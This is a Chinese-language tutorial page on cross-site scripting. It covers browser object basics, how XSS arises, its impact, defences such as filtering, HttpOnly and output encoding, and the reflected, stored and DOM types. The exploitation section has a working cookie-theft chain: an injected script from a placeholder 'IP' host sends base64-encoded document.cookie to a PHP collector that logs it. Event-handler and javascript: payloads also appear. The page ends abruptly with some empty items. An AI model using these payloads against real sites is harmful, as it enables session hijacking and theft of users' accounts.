1. 程式人生 > 其它 >XSS 跨站指令碼攻擊 漏洞

XSS 跨站指令碼攻擊 漏洞

0x00 XSS 前置知識

什麼是 BOM

  • 瀏覽器物件模型(Browser Object Model (BOM))

  • 由於現代瀏覽器已經(幾乎)實現了 JavaScript 互動性方面的相同方法和屬性,因此常被認為是 BOM 的方法和屬性。

  • 例如:

  • Window 物件

  • 所有瀏覽器都支援 window 物件,它表示瀏覽器視窗。

  • 所有 JavaScript 全域性物件、函式以及變數均自動成為 window 物件的成員

  • 全域性變數是 window 物件的屬性

  • 全域性函式是 window 物件的方法。

  • 甚至 HTML DOM 的 document 也是 window 物件的屬性之一

  • window.document getElementByld("header");

  • 與此相同:

  • document.getElementByld("header");

  • window.location

  • window 在使用時可以省略

  • location.hostname 返回 web 主機的域名

  • location.pathname 返回當前頁面的路徑和檔名

  • location.port 返回 web 主機的埠(80 或 443)

  • location.protocol 返回所使用的 web 協議 http 或 https

<script>
  document.write(location.pathname);
</script>
  • window.navigator

  • window.navigator 物件包含有關訪問者瀏覽器的資訊。

<script>
  txt =  "<p>瀏覽器代號:" + navigator.appCodeName + "</p>";
  txt += "<p>瀏覽器名稱:" + navigator.appName + "</p>";
  txt += "<p>瀏覽器版本:" + navigator.appVersion + "</p>";
  txt += "<p>啟用Cookies:" + navigator.cookieEnabled + "</p>";
  txt += "<p>硬體平臺:" + navigator.platform + "</p>";
  txt += "<p>使用者代理:" + navigator.userAgent + "</p>";
  txt += "<p>使用者代理語言:" + navigator.systemLanguage + "</p>";
  document.write(txt);
</script>
  • window.document

  • document.cookie 物件用於儲存 web 頁面的使用者資訊。

  • 使用 document.cookie 屬性來建立、讀取、及刪除 cookie。

  • 建立 cookie

  • document.cookie="username=John Doe";

  • 讀取 cookie

  • document.write(document.cookie)

  • 刪除 cookie

  • document.cookie ="username= expires= Thu, 01 Jan 1970 00: 00: 00 GMT;

0x01 XSS 漏洞概述

漏洞的介紹

  • XSS 又叫 CSS( Cross Site Script),全稱 跨站指令碼攻擊 。它指的是攻擊者往 Web 頁面或者 URL 裡插入惡意 java Script 指令碼程式碼,如果 Web 應用程式對於使用者輸入的內容沒有過濾 ,那麼當正常使用者瀏覽該網頁的時候,嵌入在 Web 頁面裡的惡意 javascript 指令碼程式碼會被執行 ,從而達到惡意攻擊正常使用者的目的。

漏洞的位置

  • 資料互動的地方:

  • get post cookies headers 方法

  • 富文字編輯器

  • 各類標籤插入和自定義

  • 資料輸出的地方:

  • 使用者資料

  • 關鍵詞、標籤、說明

0x02 XSS 漏洞原理

  • web應用對使用者的輸入沒有經過嚴格過濾,導致使用者輸入的惡意JS程式碼嵌入WEB頁面中執行

  • XSS 是指攻擊者通過在** Web 頁面中寫入惡意指令碼** ,造成使用者在瀏覽頁面時,獲取控制使用者瀏覽器進行操作的攻擊方式

xss攻擊的是使用者,不能直接getshell

原理圖解

// 服務端程式碼:
<?php
  $input = $_GET["test"];
  echo $input;
?>
// 使用者提交:
<script>alert(/xss/)</script>

XSS 漏洞產生的兩個條件

  1. 可以控制的輸入點

  2. 輸入能返回到前端頁面上被瀏覽器當成指令碼語言解釋執行

0x03 XSS 漏洞危害

漏洞的危害

  1. 竊取使用者 Cookie,冒充使用者身份進入網站 (常見)

  2. 鍵盤記錄

  3. 客戶端資訊探查

  4. 劫持使用者會話,執行任意操作

  5. 刷流量,執行彈窗廣告

  6. 傳播蠕蟲病毒

  7. ......

0x04 XSS 漏洞防禦

  1. 使用** XSS Filter** :XSS Filter的作用是過濾使用者(客戶端)提交的有害資訊 ,從而達到防範XSS攻擊的效果

  2. 輸入過濾 :永遠不要相信使用者的輸入",對於使用者輸入一定要過濾

  3. 輸入驗證 :對使用者提交的資訊進行有效驗證 (是否僅包含合法字元、字串長度限制、輸入是否符合特殊的格式要求等等)

  4. http-only :HttpOnly是包含在http返回頭Set-Cookie裡面的一個附加的flag,所以它是後端伺服器對cookie設定的一個附加的屬性,在生成cookie時使用HttpOnly標誌有助於減輕客戶端指令碼訪問受保護cookie的風險(如果瀏覽器支援的話)通過js指令碼將無法讀取到cookie資訊(document.cookie),這樣能有效的防止XSS攻擊。

  5. 輸出編碼 (htmlspecialchars函式 ):HTML編碼主要是用對應的HTML實體代替字元

0x05 XSS 漏洞分類

反射型XSS

  • 概念:是非永續性 、引數型的跨站指令碼。反射型XSS的JS程式碼在web應用的引數(變數)中,如搜尋框 的反射型ⅩSS。

  • 存在位置:常見於通過URL傳遞引數 的功能,如網站搜尋、跳轉等

  • 攻擊手法:需要欺騙使用者自己去點選連結才能觸發ⅩSS程式碼(伺服器中沒有這樣的頁面和內容),一般容易出現在搜尋頁面

  • 驗證反射型XSS漏洞存在的poc
<script>alert('xss')</script>    //常用
<script>confirm('xss')</script>
<script>prompt('xss')</script>
<script>console.log('xss')</script>

儲存型XSS

  • 概念:永續性跨站指令碼,是三種XSS中危害最大 的。它是將惡意程式碼寫進資料庫或檔案等可以永久儲存資料的介質中

  • 存在位置:常出現在留言板、發表評論或發表文章的地方(資料寫入的地方)

  • 攻擊手法:

  • 通過留言板等功能,將攻擊者精心構造XSS程式碼,儲存到資料庫 中,當其他使用者再次訪問 這個頁面時,就會觸發並執行惡意的XSS程式碼 ,從而竊取使用者的敏感資訊

  • XSS盲打,例如插入XSS平臺生成的盜取cookie連結

DOM型XSS

  • DOM的意思:DOM文件物件模型 (Document Object Model, DOM)是一個平臺和語言都中立的介面,可以使程式和指令碼能夠動態訪問和更新文件的內容、結構以及樣式
  • 概念:不經過後端 ,DOM XSS漏洞是基於文件物件模型的一種漏洞,簡單去理解就是因為輸岀點在DOM 。DOM XSS是通過url傳入引數去控制觸發的,其實也屬於反射型XSS。

  • 攻擊手法:

  1. 攻擊者構造出特殊的URL,其中包含惡意程式碼。使用者開啟帶有惡意程式碼的URL

  2. 使用者瀏覽器接收到響應後解析執行,前端 JavaScript取出URL中的惡意程式碼並執行。

  3. 惡意程式碼竊取使用者資料併發送到攻擊者的網站,或者冒充使用者的行為,呼叫目標網站介面執行攻擊者指定的操作

  • 常見的DOM方法:

三種類型的區別

  • 儲存型XSS與反射型XSS的區別

  • 儲存型XSS的惡意程式碼存在資料庫 裡,是永續性的;反射型XSS的惡意程式碼存在URL 裡,是一次性的

  • DOM型與其他兩種XSS的區別

  • DOM型XSS攻擊中,取出和執行惡意程式碼由瀏覽器端完成,屬於前端 JavaScript自身的安全漏洞,而其他兩種ⅩSS都屬於服務端的安全漏洞

0x06 XSS漏洞利用

XSS 簡單利用

Cookie獲取

//插入指令碼
<script src='http://IP/xss.js'></script>

// xss.js
s=document.createElement('script');
s.src='http://IP/xss.php?cookie='+btoa(document.cookie);
document.body.appendChild(s)

// xss.php
<?php
 $a = $_GET['cookie'];
 $fp = fopen('xss.txt','a');
 fwrite($fp,$a);
 fclose($fp);
?>

鍵盤記錄

  • JS傳送請求的方式

  • 利用一些標支援src屬性的標籤,例如

  • 某些標籤內 // 不支援XSS的事件

  • 常用事件

    • onclick 滑鼠點選鮫發

    • onload當頁面載入完成後觸發

    • onerror當頁面載入錯誤時候鮫發

    • onmousemove當滑鼠移動就觸發

    • onmouseover 滑鼠指標移動到指定的元素上時發生

    <img src=x" onerror="alert("you")></img>
    <p onmouseover=alert(/you/)>test</p>
    
    • javascript偽協議

    • 這個特殊的協議型別聲明瞭URL的主體是任意的 javascript程式碼,它由 javascrip的直譯器執行。如果 javascript偽協議中URL中的 javascript程式碼含有多個語句,必須使用分號將這些語句分隔開。

    • 在瀏覽器直接輸入

    <a href="javascript:alert(a)">1</a>
    <img src=1 onerror="javascript:alert(1)"></img>
    

    XSS 基本構造(5種)

    1. 利用<> 構造 HTML/JS
    • 同理,提交 ,構造